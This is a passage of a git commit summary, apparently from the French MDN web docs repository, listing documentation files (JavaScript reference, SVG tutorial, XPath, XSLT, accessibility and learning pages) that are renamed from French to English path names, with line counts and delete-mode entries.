.../l_op\303\251rateur_virgule/index.html" | 107 - .../l_op\303\251rateur_void/index.html" | 122 - .../op\303\251rateurs/new.target/index.html" | 110 - .../nullish_coalescing_operator/index.html" | 151 - .../optional_chaining/index.html" | 196 -- .../index.html" | 296 -- .../op\303\251rateurs_binaires/index.html" | 554 ---- .../op\303\251rateurs_d_affectation/index.html" | 414 --- .../index.html" | 28 - .../op\303\251rateurs_de_comparaison/index.html" | 257 -- .../op\303\251rateurs_de_membres/index.html" | 154 - .../op\303\251rateurs_logiques/index.html" | 256 -- .../index.html" | 359 --- .../reference/op\303\251rateurs/super/index.html" | 184 -- .../syntaxe_d\303\251composition/index.html" | 262 -- .../reference/op\303\251rateurs/tube/index.html" | 72 - .../reference/op\303\251rateurs/yield/index.html" | 127 - .../op\303\251rateurs/yield_star_/index.html" | 162 - .../reference/statements/async_function/index.html | 271 ++ .../reference/statements/block/index.html | 148 + .../reference/statements/break/index.html | 156 + .../reference/statements/class/index.html | 114 + .../reference/statements/const/index.html | 144 + .../reference/statements/continue/index.html | 163 + .../reference/statements/debugger/index.html | 79 + .../reference/statements/do...while/index.html | 91 + .../reference/statements/empty/index.html | 108 + .../reference/statements/export/index.html | 182 ++ .../reference/statements/for-await...of/index.html | 142 + .../reference/statements/for...in/index.html | 159 + .../reference/statements/for...of/index.html | 316 ++ .../javascript/reference/statements/for/index.html | 148 + .../reference/statements/function/index.html | 179 ++ .../reference/statements/function_star_/index.html | 248 ++ .../reference/statements/if...else/index.html | 174 ++ .../reference/statements/import.meta/index.html | 70 + .../reference/statements/import/index.html | 242 ++ .../web/javascript/reference/statements/index.html | 155 + .../reference/statements/label/index.html | 206 ++ .../javascript/reference/statements/let/index.html | 371 +++ .../reference/statements/return/index.html | 169 + .../reference/statements/switch/index.html | 317 ++ .../reference/statements/throw/index.html | 201 ++ .../reference/statements/try...catch/index.html | 306 ++ .../javascript/reference/statements/var/index.html | 223 ++ .../reference/statements/while/index.html | 102 + .../reference/statements/with/index.html | 135 + .../strict_mode/passer_au_mode_strict/index.html | 141 - .../transitioning_to_strict_mode/index.html | 141 + .../reference/template_literals/index.html | 247 ++ .../reference/trailing_commas/index.html | 183 ++ .../reference/virgules_finales/index.html | 183 -- .../structures_de_donn\303\251es/index.html" | 319 -- .../javascript/tableaux_typ\303\251s/index.html" | 178 -- .../index.html | 139 + files/fr/web/javascript/typed_arrays/index.html | 178 ++ .../index.html" | 960 ------ files/fr/web/mathml/attribute/valeurs/index.html | 138 - files/fr/web/mathml/attribute/values/index.html | 138 + .../deriving_the_quadratic_formula/index.html | 13 + files/fr/web/mathml/examples/index.html | 27 + .../examples/mathml_pythagorean_theorem/index.html | 16 + .../index.html" | 13 - files/fr/web/mathml/exemples/index.html | 27 - .../mathml_theoreme_de_pythagore/index.html | 16 - .../index.html | 103 + files/fr/web/media/formats/image_types/index.html | 1239 ++++++++ .../formats/questions_sur_le_soutien/index.html | 63 - .../fr/web/media/formats/support_issues/index.html | 63 + .../web/media/formats/types_des_images/index.html | 1239 -------- .../performance/budgets_de_performance/index.html | 81 - .../web/performance/performance_budgets/index.html | 81 + .../web/progressive_web_apps/adaptative/index.html | 78 - .../add_to_home_screen/index.html | 240 ++ .../ajouter_a_lecran_daccueil_a2hs/index.html | 240 -- .../web/progressive_web_apps/chargement/index.html | 151 - .../progressive_web_apps/identifiable/index.html | 60 - .../independante_du_reseau/index.html | 95 - .../progressive_web_apps/installable/index.html | 48 - .../fr/web/progressive_web_apps/loading/index.html | 151 + .../progressive_web_apps/partageable/index.html | 32 - .../progressive_web_apps/progressive/index.html | 31 - .../progressive_web_apps/re-engageable/index.html | 81 - .../re-engageable_notifications_push/index.html | 245 ++ .../relancer_via_notifications_push/index.html | 245 -- .../responsive/media_types/index.html | 396 +++ .../responsive_design_building_blocks/index.html | 78 + .../web/progressive_web_apps/securisee/index.html | 34 - .../fr/web/security/public_key_pinning/index.html | 170 - .../fr/web/security/same-origin_policy/index.html | 115 + .../same_origin_policy_for_javascript/index.html | 115 - .../index.html | 227 -- .../index.html | 227 ++ files/fr/web/svg/compatibility_sources/index.html | 19 + files/fr/web/svg/sources_compatibilite/index.html | 19 - .../web/svg/svg_1.1_support_in_firefox/index.html | 774 +++++ files/fr/web/svg/svg_as_an_image/index.html | 74 + files/fr/web/svg/svg_en_tant_qu_image/index.html | 74 - files/fr/web/svg/tutorial/basic_shapes/index.html | 156 + .../svg/tutorial/basic_transformations/index.html | 113 + .../svg/tutorial/clipping_and_masking/index.html | 91 + .../web/svg/tutorial/fills_and_strokes/index.html | 177 ++ .../fr/web/svg/tutorial/filter_effects/index.html | 147 + .../fr/web/svg/tutorial/getting_started/index.html | 98 + files/fr/web/svg/tutorial/gradients/index.html | 224 ++ files/fr/web/svg/tutorial/index.html | 36 + files/fr/web/svg/tutorial/introduction/index.html | 54 + .../svg/tutorial/other_content_in_svg/index.html | 36 + files/fr/web/svg/tutorial/paths/index.html | 334 ++ files/fr/web/svg/tutorial/patterns/index.html | 266 ++ files/fr/web/svg/tutorial/positions/index.html | 55 + files/fr/web/svg/tutorial/svg_and_css/index.html | 198 ++ files/fr/web/svg/tutorial/svg_fonts/index.html | 106 + files/fr/web/svg/tutorial/svg_image_tag/index.html | 36 + .../tutorial/svg_in_html_introduction/index.html | 87 + files/fr/web/svg/tutorial/texts/index.html | 124 + files/fr/web/svg/tutorial/tools_for_svg/index.html | 70 + .../svg/tutoriel/contenu_embarque_svg/index.html | 36 - .../d\303\251coupages_et_masquages/index.html" | 91 - .../web/svg/tutoriel/fills_and_strokes/index.html | 177 -- files/fr/web/svg/tutoriel/filtres/index.html | 147 - .../fr/web/svg/tutoriel/formes_de_base/index.html | 156 - files/fr/web/svg/tutoriel/gradients/index.html | 224 -- files/fr/web/svg/tutoriel/index.html | 36 - files/fr/web/svg/tutoriel/introduction/index.html | 54 - .../index.html" | 87 - files/fr/web/svg/tutoriel/motifs/index.html | 266 -- files/fr/web/svg/tutoriel/paths/index.html | 334 -- files/fr/web/svg/tutoriel/polices_svg/index.html | 106 - .../fr/web/svg/tutoriel/positionnement/index.html | 55 - files/fr/web/svg/tutoriel/premiers_pas/index.html | 98 - files/fr/web/svg/tutoriel/svg_image_tag/index.html | 36 - files/fr/web/svg/tutoriel/texts/index.html | 124 - files/fr/web/svg/tutoriel/tools_for_svg/index.html | 70 - .../tutoriel/transformations_de_base/index.html | 113 - files/fr/web/tutorials/index.html | 187 ++ files/fr/web/tutoriels/index.html | 187 -- .../using_templates_and_slots/index.html | 332 ++ .../index.html | 332 -- .../web/xml/introduction_\303\240_xml/index.html" | 116 - files/fr/web/xml/xml_introduction/index.html | 116 + .../xpath/comparison_with_css_selectors/index.html | 49 + files/fr/web/xpath/fonctions/boolean/index.html | 38 - files/fr/web/xpath/fonctions/ceiling/index.html | 36 - files/fr/web/xpath/fonctions/concat/index.html | 32 - files/fr/web/xpath/fonctions/contains/index.html | 42 - files/fr/web/xpath/fonctions/count/index.html | 32 - files/fr/web/xpath/fonctions/current/index.html | 32 - files/fr/web/xpath/fonctions/document/index.html | 43 - .../xpath/fonctions/element-available/index.html | 29 - files/fr/web/xpath/fonctions/false/index.html | 35 - files/fr/web/xpath/fonctions/floor/index.html | 36 - .../web/xpath/fonctions/format-number/index.html | 38 - .../xpath/fonctions/function-available/index.html | 29 - .../fr/web/xpath/fonctions/generate-id/index.html | 36 - files/fr/web/xpath/fonctions/id/index.html | 37 - files/fr/web/xpath/fonctions/index.html | 54 - files/fr/web/xpath/fonctions/key/index.html | 37 - files/fr/web/xpath/fonctions/lang/index.html | 56 - files/fr/web/xpath/fonctions/last/index.html | 31 - files/fr/web/xpath/fonctions/local-name/index.html | 35 - files/fr/web/xpath/fonctions/name/index.html | 35 - .../web/xpath/fonctions/namespace-uri/index.html | 37 - .../web/xpath/fonctions/normalize-space/index.html | 41 - files/fr/web/xpath/fonctions/not/index.html | 35 - files/fr/web/xpath/fonctions/number/index.html | 35 - files/fr/web/xpath/fonctions/position/index.html | 57 - files/fr/web/xpath/fonctions/round/index.html | 35 - .../fr/web/xpath/fonctions/starts-with/index.html | 24 - .../web/xpath/fonctions/string-length/index.html | 32 - files/fr/web/xpath/fonctions/string/index.html | 43 - .../web/xpath/fonctions/substring-after/index.html | 38 - .../xpath/fonctions/substring-before/index.html | 38 - files/fr/web/xpath/fonctions/substring/index.html | 40 - files/fr/web/xpath/fonctions/sum/index.html | 35 - .../web/xpath/fonctions/system-property/index.html | 34 - files/fr/web/xpath/fonctions/translate/index.html | 58 - files/fr/web/xpath/fonctions/true/index.html | 28 - .../xpath/fonctions/unparsed-entity-url/index.html | 29 - files/fr/web/xpath/functions/boolean/index.html | 38 + files/fr/web/xpath/functions/ceiling/index.html | 36 + files/fr/web/xpath/functions/concat/index.html | 32 + files/fr/web/xpath/functions/contains/index.html | 42 + files/fr/web/xpath/functions/count/index.html | 32 + files/fr/web/xpath/functions/current/index.html | 32 + files/fr/web/xpath/functions/document/index.html | 43 + .../xpath/functions/element-available/index.html | 29 + files/fr/web/xpath/functions/false/index.html | 35 + files/fr/web/xpath/functions/floor/index.html | 36 + .../web/xpath/functions/format-number/index.html | 38 + .../xpath/functions/function-available/index.html | 29 + .../fr/web/xpath/functions/generate-id/index.html | 36 + files/fr/web/xpath/functions/id/index.html | 37 + files/fr/web/xpath/functions/index.html | 54 + files/fr/web/xpath/functions/key/index.html | 37 + files/fr/web/xpath/functions/lang/index.html | 56 + files/fr/web/xpath/functions/last/index.html | 31 + files/fr/web/xpath/functions/local-name/index.html | 35 + files/fr/web/xpath/functions/name/index.html | 35 + .../web/xpath/functions/namespace-uri/index.html | 37 + .../web/xpath/functions/normalize-space/index.html | 41 + files/fr/web/xpath/functions/not/index.html | 35 + files/fr/web/xpath/functions/number/index.html | 35 + files/fr/web/xpath/functions/position/index.html | 57 + files/fr/web/xpath/functions/round/index.html | 35 + .../fr/web/xpath/functions/starts-with/index.html | 24 + .../web/xpath/functions/string-length/index.html | 32 + files/fr/web/xpath/functions/string/index.html | 43 + .../web/xpath/functions/substring-after/index.html | 38 + .../xpath/functions/substring-before/index.html | 38 + files/fr/web/xpath/functions/substring/index.html | 40 + files/fr/web/xpath/functions/sum/index.html | 35 + .../web/xpath/functions/system-property/index.html | 34 + files/fr/web/xpath/functions/translate/index.html | 58 + files/fr/web/xpath/functions/true/index.html | 28 + .../xpath/functions/unparsed-entity-url/index.html | 29 + .../index.html | 410 +++ files/fr/web/xslt/apply-imports/index.html | 31 - files/fr/web/xslt/apply-templates/index.html | 37 - files/fr/web/xslt/attribute-set/index.html | 33 - files/fr/web/xslt/attribute/index.html | 33 - files/fr/web/xslt/call-template/index.html | 32 - files/fr/web/xslt/choose/index.html | 32 - files/fr/web/xslt/comment/index.html | 31 - files/fr/web/xslt/copy-of/index.html | 31 - files/fr/web/xslt/copy/index.html | 32 - files/fr/web/xslt/decimal-format/index.html | 71 - files/fr/web/xslt/element/apply-imports/index.html | 31 + .../fr/web/xslt/element/apply-templates/index.html | 37 + files/fr/web/xslt/element/attribute-set/index.html | 33 + files/fr/web/xslt/element/attribute/index.html | 33 + files/fr/web/xslt/element/call-template/index.html | 32 + files/fr/web/xslt/element/choose/index.html | 32 + files/fr/web/xslt/element/comment/index.html | 31 + files/fr/web/xslt/element/copy-of/index.html | 31 + files/fr/web/xslt/element/copy/index.html | 32 + .../fr/web/xslt/element/decimal-format/index.html | 71 + files/fr/web/xslt/element/fallback/index.html | 30 + files/fr/web/xslt/element/for-each/index.html | 32 + files/fr/web/xslt/element/if/index.html | 32 + files/fr/web/xslt/element/import/index.html | 38 + files/fr/web/xslt/element/include/index.html | 42 + files/fr/web/xslt/element/key/index.html | 35 + files/fr/web/xslt/element/message/index.html | 31 + .../fr/web/xslt/element/namespace-alias/index.html | 33 + files/fr/web/xslt/element/number/index.html | 98 + files/fr/web/xslt/element/otherwise/index.html | 30 + files/fr/web/xslt/element/output/index.html | 67 + files/fr/web/xslt/element/param/index.html | 33 + .../fr/web/xslt/element/preserve-space/index.html | 31 + .../xslt/element/processing-instruction/index.html | 32 + files/fr/web/xslt/element/sort/index.html | 49 + files/fr/web/xslt/element/strip-space/index.html | 31 + files/fr/web/xslt/element/stylesheet/index.html | 46 + files/fr/web/xslt/element/template/index.html | 45 + files/fr/web/xslt/element/text/index.html | 32 + files/fr/web/xslt/element/transform/index.html | 15 + files/fr/web/xslt/element/value-of/index.html | 32 + files/fr/web/xslt/element/variable/index.html | 33 + files/fr/web/xslt/element/when/index.html | 31 + files/fr/web/xslt/element/with-param/index.html | 32 + files/fr/web/xslt/fallback/index.html | 30 - files/fr/web/xslt/for-each/index.html | 32 - files/fr/web/xslt/if/index.html | 32 - files/fr/web/xslt/import/index.html | 38 - files/fr/web/xslt/include/index.html | 42 - files/fr/web/xslt/index/index.html | 8 + .../index.html" | 31 - .../exemple_avanc\303\251/index.html" | 107 - .../exemple_basique/index.html | 134 - .../xslt/interface_xslt_js_dans_gecko/index.html | 18 - .../les_liaisons_javascript_xslt/index.html | 58 - .../ressources/index.html | 25 - files/fr/web/xslt/key/index.html | 35 - files/fr/web/xslt/message/index.html | 31 - files/fr/web/xslt/namespace-alias/index.html | 33 - files/fr/web/xslt/number/index.html | 98 - files/fr/web/xslt/otherwise/index.html | 30 - files/fr/web/xslt/output/index.html | 67 - files/fr/web/xslt/param/index.html | 33 - .../index.html" | 128 - files/fr/web/xslt/pi_parameters/index.html | 128 + files/fr/web/xslt/preserve-space/index.html | 31 - .../fr/web/xslt/processing-instruction/index.html | 32 - files/fr/web/xslt/sommaire/index.html | 8 - files/fr/web/xslt/sort/index.html | 49 - files/fr/web/xslt/strip-space/index.html | 31 - files/fr/web/xslt/stylesheet/index.html | 46 - files/fr/web/xslt/template/index.html | 45 - files/fr/web/xslt/text/index.html | 32 - files/fr/web/xslt/transform/index.html | 15 - .../autres_ressources/index.html | 217 -- .../xslt/transformations_xml_avec_xslt/index.html | 112 - .../index.html" | 238 -- .../pr\303\251sentation/index.html" | 77 - .../an_overview/index.html | 77 + .../for_further_reading/index.html | 217 ++ .../web/xslt/transforming_xml_with_xslt/index.html | 112 + .../the_netscape_xslt_xpath_reference/index.html | 238 ++ .../index.html | 64 + .../index.html | 64 - files/fr/web/xslt/value-of/index.html | 32 - files/fr/web/xslt/variable/index.html | 33 - files/fr/web/xslt/when/index.html | 31 - files/fr/web/xslt/with-param/index.html | 32 - .../advanced_example/index.html | 107 + .../basic_example/index.html | 134 + .../web/xslt/xslt_js_interface_in_gecko/index.html | 18 + .../javascript_xslt_bindings/index.html | 58 + .../resources/index.html | 25 + .../setting_parameters/index.html | 31 + .../webapi/detecting_device_orientation/index.html | 289 -- files/fr/webapi/index.html | 124 - files/fr/webapi/network_information/index.html | 89 - files/fr/webapi/pointer_lock/index.html | 319 -- files/fr/webapi/proximity/index.html | 120 - .../index.html" | 98 - .../index.html | 97 - files/fr/webrtc/index.html | 77 - files/fr/webrtc/introduction/index.html | 21 - files/fr/webrtc/mediastream_api/index.html | 85 - .../prendre_des_photos_avec_la_webcam/index.html | 161 - files/fr/xhtml/index.html | 89 - files/fr/xmlserializer/index.html | 54 - .../objet_components/index.html | 181 -- .../reference/standard_xpcom_components/index.html | 7 - .../index.html" | 22 - .../fr/xslt_dans_gecko/exemple_basique/index.html | 65 - .../g\303\251n\303\251ration_de_html/index.html" | 190 -- files/fr/xslt_dans_gecko/index.html | 44 - files/fr/xsltprocessor/index.html | 15 - files/fr/zoom_pleine_page/index.html | 42 - .../index.html" | 16 - 4980 files changed, 309606 insertions(+), 309606 deletions(-) delete mode 100644 "files/fr/accessibilit\303\251/aper\303\247u_d_applications_web_et_de_composants_dynamiques_accessibles/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/comment_deposer_un_bug_lie_a_aria/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/faq_applications_web_et_aria/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/formulaires/alertes/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/formulaires/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/formulaires/indications_elementaires_pour_les_formulaires/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/formulaires/labels_multi-options/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/guides_aria/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/modele_technique_aria/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_r\303\264le/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utilisation_du_groupe_switch/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-describedby/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-invalid/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-label/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-labelledby/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-orientation/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-relevant/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-required/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemax/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemin/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuenow/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuetext/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_alertdialog/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_banner/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_checkbox/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_group/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_link/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_listbox/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_log/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_presentation/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_progressbar/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_slider/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_status/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_textbox/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_toolbar/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_alert/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_article/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_button/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_dialog/index.html" delete mode 100644 "files/fr/accessibilit\303\251/aria/zones_live_aria/index.html" delete mode 100644 "files/fr/accessibilit\303\251/checklist_accessibilite_mobile/index.html" delete mode 100644 "files/fr/accessibilit\303\251/communaut\303\251/index.html" delete mode 100644 "files/fr/accessibilit\303\251/d\303\251veloppement_web/index.html" delete mode 100644 "files/fr/accessibilit\303\251/index.html" delete mode 100644 files/fr/adaptation_des_applications_xul_pour_firefox_1.5/index.html delete mode 100644 "files/fr/am\303\251liorations_dom_dans_firefox_3/index.html" delete mode 100644 "files/fr/am\303\251liorations_svg_dans_firefox_3/index.html" delete mode 100644 "files/fr/am\303\251liorations_xul_dans_firefox_3/index.html" delete mode 100644 files/fr/apprendre/a11y/accessibility_troubleshooting/index.html delete mode 100644 files/fr/apprendre/a11y/css_and_javascript/index.html delete mode 100644 files/fr/apprendre/a11y/html/index.html delete mode 100644 files/fr/apprendre/a11y/index.html delete mode 100644 files/fr/apprendre/a11y/mobile/index.html delete mode 100644 files/fr/apprendre/a11y/multimedia/index.html delete mode 100644 files/fr/apprendre/a11y/wai-aria_basics/index.html delete mode 100644 files/fr/apprendre/a11y/what_is_accessibility/index.html delete mode 100644 "files/fr/apprendre/accessibilit\303\251/index.html" delete mode 100644 "files/fr/apprendre/choisir_installer_param\303\251trer_un_\303\251diteur_de_texte/index.html" delete mode 100644 "files/fr/apprendre/commencer_avec_le_web/g\303\251rer_les_fichiers/index.html" delete mode 100644 files/fr/apprendre/commencer_avec_le_web/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/installation_outils_de_base/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/le_fonctionnement_du_web/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/les_bases_css/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/les_bases_html/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/les_bases_javascript/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/publier_votre_site_web/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/quel_aspect_pour_votre_site/index.html delete mode 100644 files/fr/apprendre/commencer_avec_le_web/the_web_and_web_standards/index.html delete mode 100644 files/fr/apprendre/commencez_votre_projet_web/index.html delete mode 100644 files/fr/apprendre/comment_contribuer/index.html delete mode 100644 files/fr/apprendre/common_questions/configurer_un_serveur_de_test_local/index.html delete mode 100644 files/fr/apprendre/common_questions/index.html delete mode 100644 files/fr/apprendre/comprendre_les_url/index.html delete mode 100644 files/fr/apprendre/comprendre_noms_de_domaine/index.html delete mode 100644 "files/fr/apprendre/comp\303\251tences/index.html" delete mode 100644 files/fr/apprendre/concevoir_page_web/index.html delete mode 100644 files/fr/apprendre/concevoir_site_tous_types_utilisateurs/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/advanced_styling_effects/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/backgrounds_and_borders/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/cascade_et_heritage/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/debugging_css/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/handling_different_text_directions/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/le_modele_de_boite/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/overflowing_content/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/selectors/combinateurs/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/selectors/index.html delete mode 100644 "files/fr/apprendre/css/building_blocks/selectors/pseudo-classes_et_pseudo-\303\251l\303\251ments/index.html" delete mode 100644 "files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_d_atrribut/index.html" delete mode 100644 "files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_de_type_classe_id/index.html" delete mode 100644 files/fr/apprendre/css/building_blocks/sizing_items_in_css/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/styling_tables/index.html delete mode 100644 files/fr/apprendre/css/building_blocks/values_and_units/index.html delete mode 100644 "files/fr/apprendre/css/comment/cr\303\251er_de_belles_bo\303\256tes/index.html" delete mode 100644 files/fr/apprendre/css/comment/generated_content/index.html delete mode 100644 files/fr/apprendre/css/comment/index.html delete mode 100644 files/fr/apprendre/css/comment/mettre_en_forme_du_texte/index.html delete mode 100644 files/fr/apprendre/css/comment/personnaliser_une_liste/index.html delete mode 100644 files/fr/apprendre/css/css_layout/exemples_pratiques_de_positionnement/index.html delete mode 100644 files/fr/apprendre/css/css_layout/flexbox/index.html delete mode 100644 files/fr/apprendre/css/css_layout/flexbox_skills/index.html delete mode 100644 files/fr/apprendre/css/css_layout/floats/index.html delete mode 100644 files/fr/apprendre/css/css_layout/fundamental_layout_comprehension/index.html delete mode 100644 files/fr/apprendre/css/css_layout/grids/index.html delete mode 100644 files/fr/apprendre/css/css_layout/index.html delete mode 100644 files/fr/apprendre/css/css_layout/introduction/index.html delete mode 100644 files/fr/apprendre/css/css_layout/le_positionnement/index.html delete mode 100644 files/fr/apprendre/css/css_layout/legacy_layout_methods/index.html delete mode 100644 files/fr/apprendre/css/css_layout/media_queries/index.html delete mode 100644 files/fr/apprendre/css/css_layout/multiple-column_layout/index.html delete mode 100644 files/fr/apprendre/css/css_layout/normal_flow/index.html delete mode 100644 files/fr/apprendre/css/css_layout/prise_en_charge_des_anciens_navigateurs/index.html delete mode 100644 files/fr/apprendre/css/css_layout/responsive_design/index.html delete mode 100644 files/fr/apprendre/css/formatage_texte_css/index.html delete mode 100644 files/fr/apprendre/css/index.html delete mode 100644 "files/fr/apprendre/css/introduction_\303\240_css/fundamental_css_comprehension/index.html" delete mode 100644 "files/fr/apprendre/css/introduction_\303\240_css/la_disposition/index.html" delete mode 100644 "files/fr/apprendre/css/les_propri\303\251t\303\251s_css/index.html" delete mode 100644 files/fr/apprendre/css/styliser_boites/a_cool_looking_box/index.html delete mode 100644 files/fr/apprendre/css/styliser_boites/creating_fancy_letterheaded_paper/index.html delete mode 100644 files/fr/apprendre/css/utiliser_css_dans_une_page_web/index.html delete mode 100644 "files/fr/apprendre/d\303\251couvrir_outils_d\303\251veloppement_navigateurs/index.html" delete mode 100644 files/fr/apprendre/fonctionnement_internet/index.html delete mode 100644 files/fr/apprendre/front-end_web_developer/index.html delete mode 100644 files/fr/apprendre/html/balises_html/index.html delete mode 100644 files/fr/apprendre/html/cheatsheet/index.html delete mode 100644 files/fr/apprendre/html/comment/afficher_du_code_informatique_avec_html/index.html delete mode 100644 files/fr/apprendre/html/comment/ajouter_carte_zones_cliquables_sur_image/index.html delete mode 100644 files/fr/apprendre/html/comment/ajouter_citations_sur_page_web/index.html delete mode 100644 "files/fr/apprendre/html/comment/ajouter_contenu_audio_vid\303\251o_page_web/index.html" delete mode 100644 files/fr/apprendre/html/comment/ajouter_contenu_flash_dans_page_web/index.html delete mode 100644 "files/fr/apprendre/html/comment/ajouter_des_images_adaptatives_\303\240_une_page_web/index.html" delete mode 100644 "files/fr/apprendre/html/comment/ajouter_des_images_vectorielles_\303\240_une_page_web/index.html" delete mode 100644 "files/fr/apprendre/html/comment/ajouter_des_images_\303\240_une_page_web/index.html" delete mode 100644 files/fr/apprendre/html/comment/annoter_des_images_et_graphiques/index.html delete mode 100644 "files/fr/apprendre/html/comment/appliquer_du_css_\303\240_une_page_web/index.html" delete mode 100644 "files/fr/apprendre/html/comment/cr\303\251er_un_document_html_simple/index.html" delete mode 100644 "files/fr/apprendre/html/comment/cr\303\251er_un_hyperlien/index.html" delete mode 100644 "files/fr/apprendre/html/comment/cr\303\251er_une_liste_d_\303\251l\303\251ments_avec_html/index.html" delete mode 100644 "files/fr/apprendre/html/comment/d\303\251couper_une_page_web_en_sections_logiques/index.html" delete mode 100644 "files/fr/apprendre/html/comment/d\303\251finir_des_termes_avec_html/index.html" delete mode 100644 "files/fr/apprendre/html/comment/identifier_et_expliquer_des_abr\303\251viations/index.html" delete mode 100644 files/fr/apprendre/html/comment/index.html delete mode 100644 "files/fr/apprendre/html/comment/int\303\251grer_une_page_web_dans_une_autre_page_web/index.html" delete mode 100644 "files/fr/apprendre/html/comment/mettre_en_place_une_hi\303\251rarchie_de_titres/index.html" delete mode 100644 files/fr/apprendre/html/comment/mettre_l_accent_sur_un_contenu_ou_indiquer_qu_un_texte_est_important/index.html delete mode 100644 files/fr/apprendre/html/comment/utiliser_attributs_donnes/index.html delete mode 100644 files/fr/apprendre/html/comment/utiliser_javascript_au_sein_d_une_page_web/index.html delete mode 100644 files/fr/apprendre/html/index.html delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/creating_hyperlinks/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/debugging_html/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/document_and_website_structure/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/formatage-avance-texte/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/getting_started/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/html_text_fundamentals/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/marking_up_a_letter/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/structuring_a_page_of_content/index.html" delete mode 100644 "files/fr/apprendre/html/introduction_\303\240_html/the_head_metadata_in_html/index.html" delete mode 100644 files/fr/apprendre/html/multimedia_and_embedding/contenu_audio_et_video/index.html delete mode 100644 files/fr/apprendre/html/multimedia_and_embedding/images_in_html/index.html delete mode 100644 files/fr/apprendre/html/multimedia_and_embedding/index.html delete mode 100644 files/fr/apprendre/html/multimedia_and_embedding/mozilla_splash_page/index.html delete mode 100644 files/fr/apprendre/html/multimedia_and_embedding/other_embedding_technologies/index.html delete mode 100644 files/fr/apprendre/html/tableaux/advanced/index.html delete mode 100644 files/fr/apprendre/html/tableaux/basics/index.html delete 